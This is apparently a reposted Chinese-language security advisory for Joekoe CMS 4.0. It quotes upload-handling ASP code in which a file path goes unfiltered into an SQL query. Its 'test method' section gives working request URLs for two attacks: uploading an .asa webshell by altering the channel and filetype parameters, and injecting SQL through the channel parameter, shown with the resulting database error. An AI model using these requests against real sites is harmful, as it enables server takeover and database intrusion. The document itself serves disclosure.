影响版本:
joekoe CMS 4.0
详细说明:
Joekoe CMS 4.0 给您带来一个经过完善的设计,在会员互动及安全方面有独特创新性的系统,适用于Windows NT服务环境下的的Web站点或商务平台的最佳解决方案。它精心设计的架构与功能机制,从个人到企业各方面应用的要求,为你提供一个安全、稳定、高效而快捷的Web站点和一体化的商务平台解决方案。
在web.upload.asp中:

...........
sub doParseUploadData()
dim tmpFilePath,tmpFileType,tmpFileSize,tmpName
tmpFilePath=up.getFileInfo("file.path")
tmpFileType=up.getFileInfo("filetype")
tmpFileSize=opsCommon.toInt(up.getFileInfo("filesize"))
tmpName=up.getFileInfo("name")
dim tmpChannel,tmpDataid,tmpType,tmpSQL,tmpID
tmpChannel=upConfig.channel
tmpDataid=0
tmpType=0
select case upConfig.channel
case "user.face"
tmpDataid=upConfig.userid
tmpChannel="face"
tmpType=1
tmpSQL="select top 1 u_id from db_sys_upload where

nsort='"&tmpChannel&"' and iid="&tmpDataid&""
case "blog.logo"
tmpDataid=toInt(ops.client.getSession("user.blogid"))
if tmpDataid<1 then tmpDataid=upConfig.userid
tmpChannel="blog"
tmptype=1
tmpSQL="select top 1 u_id from db_sys_upload where

nsort='"&tmpChannel&"' and iid="&tmpDataid&""
case else
tmpSQL="select top 1 u_id from db_sys_upload where

u_url='"&tmpFilePath&"'"
end select
..........
看这句tmpSQL="select top 1 u_id from db_sys_upload where u_url='"&tmpFilePath&"'",u_url来自&tmpFilePath&,而&tmpFilePath&来自up.getFileInfo("file.path"),呵呵,没有经过任何过滤就放到SQL查询语句里面查询了。

参考:
大蝉
http://blog.gsnsg.com/weblog/usual/
解决方案:
http://www.joekoe.com/
测试方法:

[警 告]

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!


1 .上传漏洞:很好利用,把channel变量改一下,只要不等于forum、user.face、blog.logo就行,然后filetype改成asa,就可以光明正大的上传木马了,具体url可以这样common/upload.asp?channel=use&filetype=asa&filename=&fileinput=u_face&formname=&thumbname=&thumbinput=,然后上传

2. SQL注入漏洞:在Channel变量中加入诸如语句,比如:common/upload.asp?channel=use'&filetype=gif&filename=&fileinput=u_face&formname=&thumbname=&thumbinput=,然后上传,就会报错

Joekoe CMS 4.0
错误信息:

select top 1 u_id from db_sys_upload where 

u_url='user'/20070722031234c.gif'
原始错误:
Error #-2147217900, 第 1 行: 'c' 附近有语法错误。 Microsoft OLE DB 

Provider for SQL Server
返回首页
Processed in 0.188 s, 1 queries, 54 Cache.
posted on 2007-07-30 09:48  %5C  阅读(709)  评论(0编辑  收藏  举报